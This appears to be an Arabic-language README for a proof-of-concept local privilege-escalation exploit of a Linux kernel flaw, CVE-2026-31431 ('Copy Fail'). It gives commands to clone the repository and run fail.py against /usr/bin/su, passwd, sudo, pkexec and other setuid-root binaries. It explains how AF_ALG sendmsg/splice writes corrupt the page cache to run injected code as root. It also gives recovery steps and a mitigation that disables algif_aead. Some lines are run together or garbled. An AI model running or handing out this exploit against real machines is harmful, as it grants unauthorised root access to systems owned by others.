
إثبات مفهوم لاستغلال ثغرة CVE-2026-31431 (Copy Fail) في نواة لينكس، والتي تستغل AF_ALG لإفساد ملفات ثنائية بصلاحيات setuid-root في ذاكرة التخزين المؤقت للصفحات، مما يحقق تصعيد الامتيازات. يتضمن النسخ الاحتياطي والاستعادة والتحقق من السلامة.
إثبات مفهوم لإعادة إنتاج استغلال لثغرة نواة لينكس CVE-2026-31431، والمعروفة أيضًا باسم Copy Fail.
الفضل يعود إلى: Copy Fail
/usr/bin/su)git clone https://github.com/MohamedKarrab/Copy-Fail-CVE-2026-31431.git
cd Copy-Fail-CVE-2026-31431
# يستهدف /usr/bin/su افتراضيًا
python fail.py
# أو أي ملف setuid-root (passwd, mount, chsh, sudo, pkexec...)
python fail.py /usr/bin/passwd
في حالة فشل الاستغلال، قد لا يتم استعادة الملف الثنائي المستهدف إلى حالته الأصلية. لإصلاح ذلك:
ببساطة أعد تشغيل الجهاز. إعادة التشغيل تمسح ذاكرة التخزين المؤقت للصفحات (الاستغلال لا يعدّل الملف الثنائي على القرص).
بدلاً من ذلك، استعد ملف /usr/bin/su نظيفًا (أو الملف الثنائي المحدد) من حزمة موثوقة.
دبيان / أوبونتو:
sudo apt-get install --reinstall util-linux
فيدورا / RHEL:
sudo dnf reinstall util-linux
آرتش:
sudo pacman -S util-linux
يستغل هذا الاستغلال تنفيذ AF_ALG AEAD لكتابة أجزاء عشوائية بحجم 4 بايت في ذاكرة التخزين المؤقت للصفحات الخاصة بـ /usr/bin/su (ملف ثنائي setuid-root).
sendmsg/splice مصممة بعناية لحقن البيانات في معالجة AES-CBC-HMAC.text في الذاكرة لملف /usr/bin/su دون لمس القرصأخيرًا، تنفيذ /usr/bin/su يحمّل ذاكرة التخزين المؤقت للصفحات الملوثة، مما يشغّل الكود المحقون بصلاحيات الجذر بسبب setuid.
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead 2>/dev/null